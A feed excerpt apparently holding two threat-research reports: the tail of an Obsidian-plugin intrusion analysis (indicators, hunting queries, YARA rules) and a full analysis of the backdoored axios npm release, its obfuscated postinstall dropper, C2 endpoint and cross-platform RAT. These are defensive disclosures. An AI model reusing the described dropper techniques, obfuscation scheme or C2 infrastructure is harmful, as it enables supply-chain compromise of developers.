<p><img src="https://www.elastic.co/jp/security-labs/assets/images/phantom-in-the-vault/image39.png" alt="Funding wallet transactions" title="Funding wallet transactions" /></p>
<h4>Payload staging server</h4>
<p>The initial payload delivery server at <code>195.3.222[.]251</code> is hosted on <strong>AS 201814 (MEVSPACE sp. z o.o.)</strong>, a Polish hosting provider.</p>
<h4>PhantomPulse C2 panel</h4>
<p>The domain <code>fefea22134[.]net</code> resolves to Cloudflare IPs (<code>104.21.79[.]142</code> and <code>172.67.146[.]15</code>), indicating the C2 panel sits behind Cloudflare's proxy. Historical passive DNS shows the domain was first resolved on 2026-03-12, with earlier resolutions pointing to different IPs (<code>188.114.97[.]1</code> and <code>188.114.96[.]1</code>) on 2026-03-20.</p>
<p>The domain uses a Let's Encrypt certificate first observed on 2026-03-12:</p>
<ul>
<li><strong>Serial</strong>: <code>5130b76e63cd41f11e6b7c2a77f203f72b4</code></li>
<li><strong>Thumbprint</strong>: <code>6c0a1da746438d68f6c4ffbf9a10e873f3cf0499</code></li>
<li><strong>Validity</strong>: <code>2026-02-19 to 2026-05-20</code></li>
</ul>
<p>The certificate issuance date (Feb 19) aligns with the most recent blockchain C2 rotation transaction encoding <code>panel.fefea22134[.]net</code>, suggesting the infrastructure was provisioned the same day the C2 URL was published on-chain.</p>
<h2>Conclusion</h2>
<p>REF6598 demonstrates how threat actors continue to find creative initial access vectors by abusing trusted applications and employing targeted social engineering. By abusing Obsidian's community plugin ecosystem rather than exploiting a software vulnerability, the attackers bypass traditional security controls entirely, relying on the application's intended functionality to execute arbitrary code.</p>
<p>In the observed intrusion, <a href="https://www.elastic.co/jp/security/endpoint-security">Elastic Defend</a> detected and blocked the attack chain at the early stage before PHANTOMPULSE could execute, preventing the threat actor from achieving their objectives. The behavioral protections triggered on the anomalous process execution originating from Obsidian, stopping the payload delivery in its tracks.</p>
<p>Organizations in the financial and cryptocurrency sectors should be aware that legitimate productivity tools can be turned into attack vectors. Defenders should monitor for anomalous child process creation from applications like Obsidian and enforce application-level plugin policies where possible. The indicators and detection logic provided in this research can be used to identify and respond to this activity.</p>
<p>Elastic Security Labs will continue to monitor REF6598 for further developments, including additional macOS payloads once the associated C2 infrastructure becomes active.</p>
<h4>MITRE ATT&amp;CK</h4>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.</p>
<h5>Tactics</h5>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0001/">Initial Access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0003/">Persistence</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0004/">Privilege Escalation</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0009/">Collection</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0007/">Discovery</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0011/">Command and Control</a></li>
</ul>
<h5>Techniques</h5>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1566/003/">Phishing: Spearphishing via Service</a></li>
<li><a href="https://attack.mitre.org/techniques/T1204/002/">User Execution: Malicious File</a></li>
<li><a href="https://attack.mitre.org/techniques/T1059/001/">Command and Scripting Interpreter: PowerShell</a></li>
<li><a href="https://attack.mitre.org/techniques/T1059/002/">Command and Scripting Interpreter: AppleScript</a></li>
<li><a href="https://attack.mitre.org/techniques/T1140/">Deobfuscate/Decode Files or Information</a></li>
<li><a href="https://attack.mitre.org/techniques/T1620/">Reflective Code Loading</a></li>
<li><a href="https://attack.mitre.org/techniques/T1497/003/">Virtualization/Sandbox Evasion: Time Based Evasion</a></li>
<li><a href="https://attack.mitre.org/techniques/T1055/">Process Injection</a></li>
<li><a href="https://attack.mitre.org/techniques/T1053/005/">Scheduled Task/Job: Scheduled Task</a></li>
<li><a href="https://attack.mitre.org/techniques/T1547/011/">Boot or Logon Autostart Execution: Plist Modification</a></li>
<li><a href="https://attack.mitre.org/techniques/T1056/001/">Input Capture: Keylogging</a></li>
<li><a href="https://attack.mitre.org/techniques/T1113/">Screen Capture</a></li>
<li><a href="https://attack.mitre.org/techniques/T1082/">System Information Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1548/002/">Abuse Elevation Control Mechanism: Bypass UAC</a></li>
</ul>
<h3>Detecting REF6598</h3>
<h4>Detection</h4>
<p>The following detection rules and behavior prevention events were observed throughout the analysis of this intrusion set:</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/ff73f1344671a50945c40c45af0ae0b6fc2ed840/rules/windows/execution_windows_powershell_susp_args.toml#L27">Suspicious Windows Powershell Arguments</a></li>
</ul>
<h4>Prevention</h4>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/c28c16baea1b0c9d2ebc63dfc1880635890fd91e/behavior/rules/windows/execution_suspicious_powershell_execution.toml#L8">Suspicious PowerShell Execution</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/c28c16baea1b0c9d2ebc63dfc1880635890fd91e/behavior/rules/windows/defense_evasion_network_module_loaded_from_suspicious_unbacked_memory.toml">Network Module Loaded from Suspicious Unbacked Memory</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/c28c16baea1b0c9d2ebc63dfc1880635890fd91e/behavior/rules/macos/defense_evasion_base64_encoded_string_execution_via_osascript.toml">Base64 Encoded String Execution via Osascript</a></li>
</ul>
<h4>Hunting queries in Elastic</h4>
<p>These hunting queries are used to identify the presence of the Obsidian community shell command plugin as well as the resulting command execution :</p>
<h5>KQL</h5>
<pre><code>event.category : file and process.name : (Obsidian or Obsidian.exe) and
 file.path : *obsidian-shellcommands*
</code></pre>
<pre><code>event.category : process and event.type : start and
 process.name : (sh or bash or zsh or powershell.exe or cmd.exe) and 
 process.parent.name : (Obsidian.exe or Obsidian)
</code></pre>
<h5>YARA</h5>
<p>Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify the <strong>PHANTOMPULL</strong> and <strong>PHANTOMPULSE</strong></p>
<pre><code>rule Windows_Trojan_PhantomPull {
    meta:
        author = &quot;Elastic Security&quot;
        os = &quot;Windows&quot;
        category_type = &quot;Trojan&quot;
        family = &quot;PhantomPull&quot;
        threat_name = &quot;Windows.Trojan.PhantomPull&quot;
        reference_sample = &quot;70bbb38b70fd836d66e8166ec27be9aa8535b3876596fc80c45e3de4ce327980&quot;

    strings:
        $GetTickCount = { 48 83 C4 80 FF 15 ?? ?? ?? ?? 83 F8 FE 75 }
        $djb2 = { 45 8B 0C 83 41 BA A7 C6 67 4E 49 01 C9 45 8A 01 }
        $mutex = { 48 89 EB 83 E3 ?? 45 8A 2C 1C 45 32 2C 2E 45 0F B6 FD }
        $str_decrypt = { 39 C2 7E ?? 49 89 C1 41 83 E1 ?? 47 8A 1C 0A 44 32 1C 01 45 88 1C 00 48 FF C0 }
        $payload_decrypt = { 4C 89 C8 83 E0 0F 41 8A 14 02 43 30 14 0F 49 FF C1 44 39 CB }
        $url = &quot;/v1/updates/check?build=payloads&quot; ascii fullword
    condition:
        3 of them
}

</code></pre>
<pre><code>rule Windows_Trojan_PhantomPulse {
    meta:
        author = &quot;Elastic Security&quot;
        os = &quot;Windows&quot;
        category_type = &quot;Trojan&quot;
        family = &quot;PhantomPulse&quot;
        threat_name = &quot;Windows.Trojan.PhantomPulse&quot;
        reference_sample = &quot;9e3890d43366faec26523edaf91712640056ea2481cdefe2f5dfa6b2b642085d&quot;

    strings:
        $a = &quot;[UNINSTALL 2/6] Removing Scheduled Task...&quot; fullword
        $b = &quot;PhantomInject: host PID=%lu&quot; fullword
        $c = &quot;inject: shellcode detected -&gt; InjectShellcodePhantom&quot; fullword
        $d = &quot;inject: shellcode detected, using phantom section hijack&quot; fullword
    condition:
        all of them
}
</code></pre>
<h3>Observations</h3>
<p>The following observables were discussed in this research.</p>
<table>
<thead>
<tr>
<th>Observable</th>
<th>Type</th>
<th>Name</th>
<th>Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>70bbb38b70fd836d66e8166ec27be9aa8535b3876596fc80c45e3de4ce327980</code></td>
<td>SHA-256</td>
<td><code>syncobs.exe</code></td>
<td>PHANTOMPULL loader</td>
</tr>
<tr>
<td><code>33dacf9f854f636216e5062ca252df8e5bed652efd78b86512f5b868b11ee70f</code></td>
<td>SHA-256</td>
<td></td>
<td>PhantomPulse RAT (final payload)</td>
</tr>
<tr>
<td><code>195.3.222[.]251</code></td>
<td>ipv4-addr</td>
<td></td>
<td>Staging server (PowerShell script &amp; loader delivery)</td>
</tr>
<tr>
<td><code>panel.fefea22134[.]net</code></td>
<td>domain-name</td>
<td></td>
<td>PhantomPulse C2 panel</td>
</tr>
<tr>
<td><code>0x666[.]info</code></td>
<td>domain-name</td>
<td></td>
<td>macOS dropper C2 domain</td>
</tr>
<tr>
<td><code>t[.]me/ax03bot</code></td>
<td>url</td>
<td></td>
<td>macOS dropper Telegram fallback C2</td>
</tr>
<tr>
<td><code>0xc117688c530b660e15085bF3A2B664117d8672aA</code></td>
<td>crypto-wallet</td>
<td></td>
<td>Ethereum wallet for blockchain C2 resolution</td>
</tr>
<tr>
<td><code>0x38796B8479fDAE0A72e5E7e326c87a637D0Cbc0E</code></td>
<td>crypto-wallet</td>
<td></td>
<td>Funding wallet for C2 resolution wallet</td>
</tr>
<tr>
<td><code>thoroughly-publisher-troy-clara[.]trycloudflare[.]com</code></td>
<td>domain-name</td>
<td></td>
<td>Prior PhantomPulse C2 (Cloudflare Tunnel)</td>
</tr>
</tbody>
</table>]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/jp/security-labs/assets/images/phantom-in-the-vault/phantom-in-the-vault.webp" length="0" type="image/webp"/>
        </item>
        <item>
            <title><![CDATA[Inside the Axios supply chain compromise - one RAT to rule them all]]></title>
            <link>https://www.elastic.co/jp/security-labs/axios-one-rat-to-rule-them-all</link>
            <guid>axios-one-rat-to-rule-them-all</guid>
            <pubDate>Wed, 01 Apr 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Elastic Security Labs analyzes a supply chain compromise of the axios npm package delivering a unified cross-platform RAT]]></description>
            <content:encoded><![CDATA[<blockquote>
<p>Elastic Security Labs released <a href="https://www.elastic.co/jp/security-labs/axios-supply-chain-compromise-detections">initial triage and detection rules</a> for the Axios supply-chain compromise. This is a detailed analysis of the RAT and payloads.</p>
</blockquote>
<h2>Introduction</h2>
<p>Elastic Security Labs identified a supply chain compromise of the axios npm package, one of the most depended-upon packages in the JavaScript ecosystem with approximately 100 million weekly downloads. The attacker compromised a maintainer account and published backdoored versions that delivered a cross-platform Remote Access Trojan to macOS, Windows, and Linux systems through a malicious postinstall hook.</p>
<h3>Key takeaways</h3>
<ul>
<li>A compromised npm maintainer account (jasonsaayman) was used to publish two malicious versions of the widely used Axios HTTP client — 1.14.1 (tagged latest) and 0.30.4 (tagged legacy) — meaning a default npm install axios resolved to a backdoored package</li>
<li>The malicious JavaScript deploys platform-specific stage-2 implants for macOS, Windows, and Linux</li>
<li>All three stage-2 payloads are implementations of the <strong>same RAT</strong> — identical C2 protocol, command set, beacon cadence, and spoofed user-agent, written in PowerShell (Windows), C++ (macOS), and Python (Linux)</li>
<li>The dropper performs anti-forensic cleanup by deleting itself and swapping its package.json with a clean copy, erasing evidence of the postinstall trigger from <code>node_modules</code></li>
</ul>
<h2>Preamble</h2>
<p>On March 30, 2026, Elastic Security Labs detected a supply chain compromise targeting the <a href="https://www.npmjs.com/package/axios">axios</a> npm package through automated supply-chain monitoring. The attacker gained control of the npm account belonging to jasonsaayman, one of the project's primary maintainers, and published two backdoored versions within a 39-minute window.</p>
<p>The axios package is one of the most widely depended-upon HTTP client libraries in the JavaScript ecosystem. At the time of discovery, both the latest and legacy dist-tags pointed to compromised versions, ensuring that the majority of fresh installations pulled a backdoored release.</p>
<p>The malicious versions introduced a single new dependency: plain-crypto-js, a purpose-built package whose postinstall hook silently downloaded and executed platform-specific stage-2 RAT implants from sfrclak[.]com:8000.</p>
<p>What makes this campaign notable beyond its blast radius is the stage-2 tooling. The attacker deployed three parallel implementations of the <strong>same RAT</strong> — one each for Windows, macOS, and Linux — all sharing an identical C2 protocol, command structure, and beacon behavior. This isn't three different tools; it's a single cross-platform implant framework with platform-native implementations.</p>
<p>Elastic Security Labs filed a GitHub Security Advisory to the axios repository on <strong>March 31, 2026 at 01:50 AM UTC</strong> to coordinate disclosure and ensure the maintainers and npm registry could act on the compromised versions.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/axios-one-rat-to-rule-them-all/image3.png" alt="GitHub Security Advisory filed to the axios repository" title="GitHub Security Advisory filed to the axios repository" /></p>
<p>As the community flagged the compromise on social media, Elastic Security Labs shared early findings publicly to help defenders respond in real time.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/axios-one-rat-to-rule-them-all/image2.png" alt="Early coordination on X as Elastic Security Labs began sharing indicators and analysis during the active compromise" title="Early coordination on X as Elastic Security Labs began sharing indicators and analysis during the active compromise" /></p>
<p>This post covers the full attack chain: from the npm-level supply chain compromise through the obfuscated dropper, to the architecture of the cross-platform RAT and the meaningful differences between its three variants.</p>
<h2>Campaign overview</h2>
<p>The compromise is evident from the npm registry metadata. The maintainer email changed from <code>jasonsaayman@gmail[.]com</code> — present on all prior legitimate releases — to <code>ifstap@proton[.]me</code> on the malicious versions. The publishing method also changed:</p>
<table>
<thead>
<tr>
<th>Version</th>
<th>Published By</th>
<th>Method</th>
<th>Provenance</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>axios@1.14.0</code> (legitimate)</td>
<td><code>jasonsaayman@gmail[.]com</code></td>
<td>GitHub Actions OIDC</td>
<td>SLSA provenance attestations</td>
</tr>
<tr>
<td><code>axios@1.14.1</code> (compromised)</td>
<td><code>ifstap@proton[.]me</code></td>
<td>Direct CLI publish</td>
<td>None</td>
</tr>
<tr>
<td><code>axios@0.30.4</code> (compromised)</td>
<td><code>ifstap@proton[.]me</code></td>
<td>Direct CLI publish</td>
<td>None</td>
</tr>
</tbody>
</table>
<p>The shift from a trusted OIDC publisher flow with SLSA provenance to a direct CLI publish with a changed email is a clear indicator of unauthorized access.</p>
<h3>Timeline</h3>
<ul>
<li><strong>2026-02-18 17:19 UTC</strong> — <code>axios@0.30.3</code> published legitimately by <code>jasonsaayman@gmail[.]com</code></li>
<li><strong>2026-03-27 19:01 UTC</strong> — <code>axios@1.14.0</code> published legitimately via GitHub Actions OIDC</li>
<li><strong>2026-03-30 05:57 UTC</strong> — <code>plain-crypto-js@4.2.0</code> published by <code>nrwise</code> (<code>nrwise@proton.me</code>) — clean decoy to build registry history</li>
<li><strong>2026-03-30 23:59 UTC</strong> — <code>plain-crypto-js@4.2.1</code> published by <code>nrwise</code> — malicious version with <code>postinstall</code> backdoor</li>
<li><strong>2026-03-31 00:21 UTC</strong> — <code>axios@1.14.1</code> published by compromised account — tagged <code>latest</code></li>
<li><strong>2026-03-31 01:00 UTC</strong> — <code>axios@0.30.4</code> published by compromised account — tagged <code>legacy</code></li>
</ul>
<h3>Affected packages</h3>
<ul>
<li><strong><code>axios@1.14.1</code> — Malicious, tagged <code>latest</code> at time of discovery</strong></li>
<li><strong><code>axios@0.30.4</code> — Malicious, tagged <code>legacy</code> at time of discovery</strong></li>
<li><strong><code>plain-crypto-js@4.2.0</code> — Clean decoy, published to build registry history</strong></li>
<li><strong><code>plain-crypto-js@4.2.1</code> — Malicious, payload delivery vehicle (<code>postinstall</code> backdoor)</strong></li>
</ul>
<p><strong>Safe versions:</strong> <code>axios@1.14.0</code> (last legitimate 1.x release with SLSA provenance) and <code>axios@0.30.3</code> (last legitimate <code>0.30.x</code> release).</p>
<p>The attacker tagged both the latest and legacy channels, maximizing the blast radius across projects using either the current or legacy axios API.</p>
<h2>Code analysis</h2>
<h3>Stage 1: The plain-crypto-js dropper</h3>
<p>The entire delivery chain hinges on npm's postinstall lifecycle hook. Installing either compromised axios version pulls <code>plain-crypto-js@^4.2.1</code> as a dependency, which declares:</p>
<pre><code class="language-json">&quot;scripts&quot;: {
  &quot;postinstall&quot;: &quot;node setup.js&quot;
}
</code></pre>
<p>This causes setup.js to execute automatically during npm install — no user interaction required.</p>
<p>The setup.js file uses a two-layer encoding scheme to conceal its behavior:</p>
<ul>
<li><strong>Layer 1:</strong> String reversal followed by Base64 decoding</li>
<li><strong>Layer 2:</strong> XOR cipher using the key OrDeR_7077 with a position-dependent index (7 * i² % 10)</li>
</ul>
<p>All critical strings, module names, URLs, shell commands are stored in an encoded array stq[] and decoded at runtime. The decoded contents reveal the operational infrastructure:</p>
<h3>Platform-specific delivery</h3>
<p>After decoding its string table, the dropper checks os.platform() and branches into one of three delivery routines. Each sends an HTTP POST to <a href="http://sfrclak%5B.%5Dcom:8000/6202033">http://sfrclak[.]com:8000/6202033</a> with a platform-specific body — packages.npm.org/product0 (macOS), packages.npm.org/product1 (Windows), packages.npm.org/product2 (Linux) — allowing the C2 to serve the correct payload from a single endpoint. The packages.npm.org/ prefix is a deliberate attempt to make outbound traffic appear as benign npm registry communication in network logs:</p>
<table>
<thead>
<tr>
<th>Platform</th>
<th>Delivery Method</th>
<th>Stage-2 Location</th>
<th>Disguise</th>
</tr>
</thead>
<tbody>
<tr>
<td>macOS</td>
<td>AppleScript via osascript downloads binary with curl</td>
<td><code>/Library/Caches/com.apple.act.mond</code></td>
<td>Apple system daemon</td>
</tr>
<tr>
<td>Windows</td>
<td>VBScript downloads .ps1 via curl, executes via renamed PowerShell (<code>%PROGRAMDATA%\wt.exe</code>)</td>
<td><code>%TEMP%\6202033.ps1</code> (transient)</td>
<td>Windows Terminal</td>
</tr>
<tr>
<td>Linux</td>
<td>Direct curl download and python3 execution</td>
<td><code>/tmp/ld.py</code></td>
<td>None</td>
</tr>
</tbody>
</table>
<h3>Anti-forensics</h3>
<p>The dropper performs two cleanup actions:</p>
<ol>
<li><strong>Self-deletion:</strong> setup.js removes itself via fs.unlink(__filename)</li>
<li><strong>Package manifest swap:</strong> A clean file named package.md (containing a benign version 4.2.0 configuration with no postinstall hook) is renamed to package.json, overwriting the malicious version</li>
</ol>
<p>Post-incident inspection of node_modules/plain-crypto-js/package.json reveals no trace of the postinstall trigger. The malicious setup.js is gone. Only the lockfile and npm audit logs retain evidence.</p>
<h3>Stage 2: Cross-platform RAT</h3>
<p>The three stage-2 payloads: PowerShell for Windows, compiled C++ for macOS, Python for Linux  are not three different tools. They are three implementations of the <strong>same RAT specification</strong>, sharing an identical C2 protocol, command set, message format, and operational behavior. The consistency strongly indicates a single developer or tightly coordinated team working from a shared design document.</p>
<h4>Shared architecture</h4>
<p>The following properties are <strong>identical across all three variants:</strong></p>
<ul>
<li><strong>C2 transport: HTTP POST</strong></li>
<li><strong>Body encoding: Base64-encoded JSON</strong></li>
<li><strong>User-Agent: <code>mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0)</code></strong></li>
<li><strong>Beacon interval: 60 seconds</strong></li>
<li><strong>Session UID: 16-character random alphanumeric string, generated per-execution</strong></li>
<li><strong>Outbound message types: <code>FirstInfo</code>, <code>BaseInfo</code>, <code>CmdResult</code></strong></li>
<li><strong>Inbound command types: <code>kill</code>, <code>peinject</code>, <code>runscript</code>, <code>rundir</code></strong></li>
<li><strong>Response command types: <code>rsp_kill</code>, <code>rsp_peinject</code>, <code>rsp_runscript</code>, <code>rsp_rundir</code></strong></li>
</ul>
<p>The spoofed IE8/Windows XP user-agent string is particularly notable, it is anachronistic on all three platforms, and its presence on a macOS or Linux host is a strong detection indicator.</p>
<h4>Initialization and reconnaissance</h4>
<p>On startup, each variant:</p>
<ol>
<li><strong>Generates a session UID</strong> — 16 random alphanumeric characters, included in every subsequent C2 message</li>
<li><strong>Detects OS and architecture</strong> — reports platform-specific identifiers (e.g., windows_x64, macOS, linux_x64)</li>
<li><strong>Enumerates initial directories</strong> of interest (user profile, documents, desktop, config directories)</li>
<li><strong>Sends a FirstInfo beacon</strong> containing the UID, OS identifier, and directory snapshot</li>
</ol>
<p>After initialization, the implant enters the main loop. The first BaseInfo heartbeat includes a comprehensive system profile. The same categories of data are collected on all platforms, though the underlying APIs differ:</p>
<table>
<thead>
<tr>
<th>Data Collected</th>
<th>Windows Source</th>
<th>macOS Source</th>
<th>Linux Source</th>
</tr>
</thead>
<tbody>
<tr>
<td>Hostname</td>
<td>%COMPUTERNAME% env var</td>
<td>gethostname()</td>
<td>/proc/sys/kernel/hostname</td>
</tr>
<tr>
<td>Username</td>
<td>%USERNAME% env var</td>
<td>getuid() + getpwuid()</td>
<td>os.getlogin()</td>
</tr>
<tr>
<td>OS version</td>
<td>WMI / registry</td>
<td>sysctlbyname(&quot;kern.osproductversion&quot;)</td>
<td>platform.system() + platform.release()</td>
</tr>
<tr>
<td>Timezone</td>
<td>System timezone</td>
<td>localtime_r()</td>
<td>datetime.timezone</td>
</tr>
<tr>
<td>Boot time</td>
<td>System uptime</td>
<td>sysctl(&quot;kern.boottime&quot;)</td>
<td>/proc/uptime</td>
</tr>
<tr>
<td>Install date</td>
<td>Registry / WMI</td>
<td>stat(&quot;/&quot;) or sysctl</td>
<td>ctime of /var/log/installer or /var/log/dpkg.log</td>
</tr>
<tr>
<td>Hardware model</td>
<td>WMI</td>
<td>sysctlbyname(&quot;hw.model&quot;)</td>
<td>/sys/class/dmi/id/product_name</td>
</tr>
<tr>
<td>CPU type</td>
<td>WMI</td>
<td>sysctlbyname()</td>
<td>platform.machine()</td>
</tr>
<tr>
<td>Process list</td>
<td>Full PID, session, name, path</td>
<td>popen(&quot;ps&quot;) (up to 1000)</td>
<td>Full /proc enumeration (PID, PPID, user, cmdline)</td>
</tr>
</tbody>
</table>
<p>Subsequent heartbeats are lightweight, containing only a timestamp to confirm the implant is alive.</p>
<h4>Command dispatch</h4>
<p>The C2 response is parsed as JSON, and the type field determines the action. All three variants implement the same four commands:</p>
<p><strong>kill — Self-termination.</strong> Sends an rsp_kill acknowledgment and exits. The Windows variant's persistence mechanism (registry key + batch file) survives the kill command unless explicitly cleaned up; the macOS and Linux variants have no persistence of their own.</p>
<p><strong>runscript — Script/command execution.</strong> The operator's primary interaction command. Accepts a Script field (code to execute) and a Param field (arguments). When Script is empty, Param is run directly as a command. The execution mechanism is platform-native:</p>
<table>
<thead>
<tr>
<th>Platform</th>
<th>Execution Mechanism</th>
</tr>
</thead>
<tbody>
<tr>
<td>Windows</td>
<td>PowerShell with -NoProfile -ep Bypass</td>
</tr>
<tr>
<td>macOS</td>
<td>AppleScript via /usr/bin/osascript</td>
</tr>
<tr>
<td>Linux</td>
<td>Shell via subprocess.run(shell=True) or Python via python3 -c</td>
</tr>
</tbody>
</table>
<p><strong>peinject — Binary payload delivery.</strong> Despite the Windows-centric naming (&quot;PE inject&quot;), all three platforms implement this as a way to drop and execute binary payloads:</p>
<table>
<thead>
<tr>
<th>Platform</th>
<th>Implementation</th>
</tr>
</thead>
<tbody>
<tr>
<td>Windows</td>
<td>Reflective .NET assembly loading via [System.Reflection.Assembly]::Load()</td>
</tr>
<tr>
<td>macOS</td>
<td>Base64-decodes and drops a binary, executes with operator-supplied parameters.</td>
</tr>
<tr>
<td>Linux</td>
<td>Base64-decodes a binary to /tmp/.&lt;random 6-char string&gt; (hidden file), launches via subprocess.Popen().</td>
</tr>
</tbody>
</table>
<p>The Windows implementation has in-memory execution with no file drop but without disabling AMSI which will certainly flag on the Assembly load. The macOS and Linux variants take the simpler approach of writing a binary to disk and executing it directly.</p>
<p><strong>rundir — Directory enumeration.</strong> Accepts paths and returns detailed file listings (name, size, type, creation/modification timestamps, child count for directories). Allows the operator to interactively browse the filesystem.</p>
<h4>Capability summary</h4>
<table>
<thead>
<tr>
<th>Capability</th>
<th>Windows (PowerShell)</th>
<th>macOS (C++)</th>
<th>Linux (Python)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Persistence</td>
<td>Registry Run key + hidden .bat</td>
<td>None</td>
<td>None</td>
</tr>
<tr>
<td>Script execution</td>
<td>PowerShell</td>
<td>AppleScript via osascript</td>
<td>Shell or Python inline</td>
</tr>
<tr>
<td>Binary injection</td>
<td>Reflective .NET load injecting into cmd.exe</td>
<td>Binary drop + execute</td>
<td>Binary drop to /tmp/ + execute</td>
</tr>
<tr>
<td>Anti-forensics</td>
<td>Hidden windows, temp file cleanup</td>
<td>Hidden temp .scpt</td>
<td>Hidden /tmp/.XXXXXX files</td>
</tr>
</tbody>
</table>
<h2>Attribution</h2>
<p>The macOS Mach-O binary delivered by the <code>plain-crypto-js</code> postinstall hook exhibits significant overlap with <strong>WAVESHAPER</strong>, a C++ backdoor tracked by Mandiant and attributed to <strong>UNC1069</strong>, a DPRK-linked threat cluster.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/axios-one-rat-to-rule-them-all/image1.png" alt="Side-by-side comparison of the axios compromise macOS sample and WAVESHAPER indicators" title="Side-by-side comparison of the axios compromise macOS sample and WAVESHAPER indicators" /></p>
<h2>Conclusion</h2>
<p>This campaign demonstrates the continued attractiveness of the npm ecosystem as a supply chain attack vector. By compromising a single maintainer account on one of the JavaScript ecosystem's most depended-upon packages, the attacker gained a delivery mechanism with potential reach into millions of environments.</p>
<p>The toolkit's most reliable detection indicator is also its most curious design choice: the IE8/Windows XP user-agent string hardcoded identically across all three platform variants. While it provides a consistent protocol fingerprint for C2 server-side routing, it is trivially detectable on any modern network — and is an immediate anomaly on macOS and Linux hosts.</p>
<p>Elastic Security Labs will continue monitoring this activity cluster and will update this post with any additional findings.</p>
<h2>MITRE ATT&amp;CK</h2>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.</p>
<h3>Tactics</h3>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0001/">Initial Access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0003/">Persistence</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0007/">Discovery</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0011/">Command and Control</a></li>
</ul>
<h3>Techniques</h3>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1195/001/">Supply Chain Compromise: Compromise Software Dependencies</a></li>
<li><a href="https://attack.mitre.org/techniques/T1059/007/">Command and Scripting Interpreter: JavaScript</a></li>
<li><a href="https://attack.mitre.org/techniques/T1059/001/">Command and Scripting Interpreter: PowerShell</a></li>
<li><a href="https://attack.mitre.org/techniques/T1059/002/">Command and Scripting Interpreter: AppleScript</a></li>
<li><a href="https://attack.mitre.org/techniques/T1059/004/">Command and Scripting Interpreter: Unix Shell</a></li>
<li><a href="https://attack.mitre.org/techniques/T1059/006/">Command and Scripting Interpreter: Python</a></li>
<li><a href="https://attack.mitre.org/techniques/T1547/001/">Boot or Logon Autostart Execution: Registry Run Keys</a></li>
<li><a href="https://attack.mitre.org/techniques/T1027/">Obfuscated Files or Information</a></li>
<li><a href="https://attack.mitre.org/techniques/T1036/">Masquerading</a></li>
<li><a href="https://attack.mitre.org/techniques/T1564/001/">Hidden Files and Directories</a></li>
<li><a href="https://attack.mitre.org/techniques/T1055/">Process Injection</a></li>
<li><a href="https://attack.mitre.org/techniques/T1070/004/">Indicator Removal: File Deletion</a></li>
<li><a href="https://attack.mitre.org/techniques/T1082/">System Information Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1057/">Process Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1083/">File and Directory Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1071/001/">Application Layer Protocol: Web Protocols</a></li>
<li><a href="https://attack.mitre.org/techniques/T1571/">Non-Standard Port</a></li>
<li><a href="https://attack.mitre.org/techniques/T1132/001/">Data Encoding: Standard Encoding</a></li>
<li><a href="https://attack.mitre.org/techniques/T1105/">Ingress Tool Transfer</a></li>
</ul>
<h2>Observations</h2>
<p>The following observables were discussed in this research.</p>
<table>
<thead>
<tr>
<th align="left">Observable</th>
<th align="left">Type</th>
<th align="left">Name</th>
<th align="left">Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left"><code>617b67a8e1210e4fc87c92d1d1da45a2f311c08d26e89b12307cf583c900d101</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>6202033.ps1</code></td>
<td align="left">Windows payload</td>
</tr>
<tr>
<td align="left"><code>92ff08773995ebc8d55ec4b8e1a225d0d1e51efa4ef88b8849d0071230c9645a</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>com.apple.act.mond</code></td>
<td align="left">MacOS payload</td>
</tr>
<tr>
<td align="left"><code>fcb81618bb15edfdedfb638b4c08a2af9cac9ecfa551af135a8402bf980375cf</code></td>
<td align="left">SHA-256</td>
<td align="left"><code>ld.py</code></td>
<td align="left">Linux payload</td>
</tr>
<tr>
<td align="left"><code>sfrclak[.]com</code></td>
<td align="left">DOMAIN</td>
<td align="left"></td>
<td align="left">C2</td>
</tr>
<tr>
<td align="left"><code>142.11.206[.]73</code></td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">C2</td>
</tr>
</tbody>
</table>
